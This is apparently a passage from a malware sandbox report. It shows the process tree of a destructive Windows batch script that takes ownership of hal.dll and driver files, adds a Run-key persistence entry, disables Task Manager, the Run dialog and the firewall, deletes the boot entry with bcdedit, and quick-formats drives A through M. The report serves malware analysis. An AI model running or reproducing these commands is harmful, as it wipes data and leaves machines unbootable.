      4⤵
      PID:10280
  - - C:\Windows\system32\format.com
      format /y /q A:
      4⤵
      PID:10404
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:2248
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:2804
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:1644
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:1012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:2952
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      PID:3912
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4188
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      PID:2404
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Modifies file permissions
      PID:4008
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      PID:4468
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      PID:4884
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:7180
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:7828
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:3824
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:4864
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4296
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      PID:8676
  - - C:\Windows\system32\wscript.exe
      WScript Informacion.vbs
      4⤵
      PID:8316
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:5512
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h *.*
      4⤵
      PID:9728
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10184
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:9992
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10016
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:7348
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:7536
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10180
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:768
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10148
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:6280
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:9092
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:7392
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:8324
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:7064
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:6060
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      PID:10060
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:8524
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:8632
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:9368
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:9872
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      PID:10296
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:10444
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:10520
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:10776
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:10832
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      PID:10900
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\drivers" /r
      4⤵
      PID:11020
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:2740
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:2012
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:2500
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:1604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:2736
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Modifies file permissions
      PID:4996
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      Modifies file permissions
      PID:3912
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      PID:4872
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      PID:5024
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      PID:4540
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:5020
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:8012
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:8040
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:4912
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:8360
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:9188
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      PID:8704
  - - C:\Windows\system32\wscript.exe
      WScript Informacion.vbs
      4⤵
      PID:8512
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:5492
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h *.*
      4⤵
      PID:2024
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:9592
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10512
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10588
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10676
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10768
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10824
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10892
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:11012
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:11132
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:11216
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:11208
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:11000
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:11408
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:11560
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:2408
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:3084
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:3112
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:3172
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\drivers" /r
    3⤵
    PID:3196
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\drivers" /reset /t /c /q
    3⤵
    PID:3660
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\drivers\*.*"
    3⤵
    PID:3696
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:4020
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:4036
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:4052
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:4076
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:4092
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:3316
- - C:\Windows\system32\format.com
    format /y /q A:
    3⤵
    PID:3168
- - C:\Windows\system32\format.com
    format /y /q B:
    3⤵
    PID:4528
- - C:\Windows\system32\format.com
    format /y /q D:
    3⤵
    PID:4968
- - C:\Windows\system32\format.com
    format /y /q E:
    3⤵
    PID:4304
- - C:\Windows\system32\format.com
    format /y /q F:
    3⤵
    PID:4768
- - C:\Windows\system32\format.com
    format /y /q G:
    3⤵
    PID:4320
- - C:\Windows\system32\format.com
    format /y /q H:
    3⤵
    PID:3900
- - C:\Windows\system32\format.com
    format /y /q I:
    3⤵
    PID:1552
- - C:\Windows\system32\format.com
    format /y /q J:
    3⤵
    PID:3904
- - C:\Windows\system32\format.com
    format /y /q K:
    3⤵
    PID:4188
- - C:\Windows\system32\format.com
    format /y /q L:
    3⤵
    PID:3488
- - C:\Windows\system32\format.com
    format /y /q M:
    3⤵
    PID:4688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:4952
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      PID:8040
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      Modifies file permissions
      PID:3512
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      PID:8052
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Modifies file permissions
      PID:4840
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      PID:7780
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      PID:8340
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:8512
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:9152
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:8780
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:5916
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:3488
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:4336
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:1224
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:3628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:3912
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Possible privilege escalation attempt
      PID:184
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      Modifies file permissions
      PID:8004
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:6400
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      PID:8392
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8648
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:8800
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:8824
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5976
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:9080
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:9360
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:3836
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:4112
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:4388
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:5124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:5132
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      PID:7816
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      PID:3452
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      PID:7220
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      PID:5296
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      PID:8384
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      PID:8472
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:7848
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:7840
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5952
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:9184
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:5140
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:5164
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:5172
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:5180
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\ksxbar.ax"
    3⤵
    - Possible privilege escalation attempt
    PID:5188
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\ksxbar.ax" /reset /c /q
    3⤵
    - Modifies file permissions
    PID:5320
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\ksxbar.ax"
    3⤵
    PID:5704
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\Mpeg2Data.ax"
    3⤵
    PID:6060
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\Mpeg2Data.ax" /reset /c /q
    3⤵
    PID:6456
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\Mpeg2Data.ax"
    3⤵
    - Views/modifies file attributes
    PID:6724
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\mpg2splt.ax"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:6980
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\mpg2splt.ax" /reset /c /q
    3⤵
    PID:7628
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\mpg2splt.ax"
    3⤵
    PID:6328
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\MSDvbNP.ax"
    3⤵
    PID:7772
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\MSDvbNP.ax" /reset /c /q
    3⤵
    - Modifies file permissions
    PID:8740
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\MSDvbNP.ax"
    3⤵
    - Views/modifies file attributes
    PID:8196
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\MSNP.ax"
    3⤵
    PID:9092
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\MSNP.ax" /reset /c /q
    3⤵
    PID:10052
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\MSNP.ax"
    3⤵
    PID:1936
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:1736
- C:\Windows\system32\notepad.exe
  notepad
  2⤵
  PID:2908
- C:\Windows\system32\calc.exe
  calc
  2⤵
  PID:2768
- C:\Windows\system32\mspaint.exe
  mspaint
  2⤵
  - Drops file in Windows directory
  - Suspicious use of SetWindowsHookEx
  PID:2764
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\drivers" /r
  2⤵
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:2044
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\drivers" /reset /t /c /q
  2⤵
  PID:1644
- C:\Windows\system32\attrib.exe
  attrib -r -a -s -h "C:\Windows\System32\drivers\*.*"
  2⤵
  - Drops file in Drivers directory
  PID:1012
- C:\Windows\system32\wscript.exe
  WScript ErrorCritico.vbs
  2⤵
  PID:2428
- C:\Windows\system32\wscript.exe
  WScript Advertencia.vbs
  2⤵
  PID:896
- C:\Windows\system32\wscript.exe
  WScript ErrorCritico.vbs
  2⤵
  PID:2076
- C:\Windows\system32\wscript.exe
  WScript Advertencia.vbs
  2⤵
  PID:2412
- C:\Windows\system32\wscript.exe
  WScript ErrorCritico.vbs
  2⤵
  PID:2992
- C:\Windows\system32\wscript.exe
  WScript Advertencia.vbs
  2⤵
  PID:2100
- C:\Windows\system32\format.com
  format /y /q A:
  2⤵
  - Enumerates connected drives
  PID:1272
- C:\Windows\system32\format.com
  format /y /q B:
  2⤵
  - Enumerates connected drives
  PID:2056
- C:\Windows\system32\format.com
  format /y /q D:
  2⤵
  - Enumerates connected drives
  PID:876
- C:\Windows\system32\format.com
  format /y /q E:
  2⤵
  - Enumerates connected drives
  PID:2300
- C:\Windows\system32\format.com
  format /y /q F:
  2⤵
  - Enumerates connected drives
  PID:2336
- C:\Windows\system32\format.com
  format /y /q G:
  2⤵
  PID:1992
- C:\Windows\system32\format.com
  format /y /q H:
  2⤵
  PID:2000
- C:\Windows\system32\format.com
  format /y /q I:
  2⤵
  PID:2068
- C:\Windows\system32\format.com
  format /y /q J:
  2⤵
  PID:272
- C:\Windows\system32\format.com
  format /y /q K:
  2⤵
  PID:2152
- C:\Windows\system32\format.com
  format /y /q L:
  2⤵
  PID:2736
- C:\Windows\system32\format.com
  format /y /q M:
  2⤵
  PID:2804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
  2⤵
  PID:2316
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll"
    3⤵
    - Possible privilege escalation attempt
    PID:1552
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /reset /c /q
    3⤵
    - Modifies file permissions
    PID:4444
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\hal.dll"
    3⤵
    - Views/modifies file attributes
    PID:3852
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\Twain_32.dll"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3532
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\Twain_32.dll" /reset /c /q
    3⤵
    - Possible privilege escalation attempt
    PID:4768
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\Twain_32.dll"
    3⤵
    PID:4688
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
    3⤵
    PID:5012
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:5520
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:6368
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:6600
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current}
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:7288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K Taskdl.bat
    3⤵
    PID:7420
- - C:\Windows\system32\wscript.exe
    WScript Informacion.vbs
    3⤵
    PID:7464
- - C:\Windows\system32\ipconfig.exe
    ipconfig /release
    3⤵
    - Gathers network information
    PID:7564
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h *.*
    3⤵
    PID:7220
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:7832
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:7204
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:6984
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:4328
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:4392
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:7824
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:4492
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:7436
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:6604
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:3452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:8028
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:5044
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:8052
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:4928
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:4964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:8020
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:4752
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:7856
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:7188
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:7900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:3720
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:4008
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:8220
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:8232
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:8304
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\drivers" /r
    3⤵
    - Modifies file permissions
    PID:8312
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\drivers" /reset /t /c /q
    3⤵
    PID:8624
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\drivers\*.*"
    3⤵
    - Views/modifies file attributes
    PID:8732
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:8972
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:8980
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:8988
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:9012
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:9032
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:9044
- - C:\Windows\system32\format.com
    format /y /q A:
    3⤵
    PID:9160
- - C:\Windows\system32\format.com
    format /y /q B:
    3⤵
    PID:8948
- - C:\Windows\system32\format.com
    format /y /q D:
    3⤵
    PID:8344
- - C:\Windows\system32\format.com
    format /y /q E:
    3⤵
    PID:9284
- - C:\Windows\system32\format.com
    format /y /q F:
    3⤵
    PID:10272
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:1940
- C:\Windows\system32\notepad.exe
  notepad
  2⤵
  PID:2000
- C:\Windows\system32\calc.exe
  calc
  2⤵
  PID:1856
- C:\Windows\system32\mspaint.exe
  mspaint
  2⤵
  PID:2912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
  2⤵
  PID:2664
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll"
    3⤵
    PID:2420
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /reset /c /q
    3⤵
    - Modifies file permissions
    PID:3580
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\hal.dll"
    3⤵
    - Views/modifies file attributes
    PID:3396
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\Twain_32.dll"
    3⤵
    - Possible privilege escalation attempt
    PID:3272
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\Twain_32.dll" /reset /c /q
    3⤵
    PID:3944
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\Twain_32.dll"
    3⤵
    - Views/modifies file attributes
    PID:4696
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
    3⤵
    PID:4792
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:3904
- - C:\Windows\system32\reg.exe
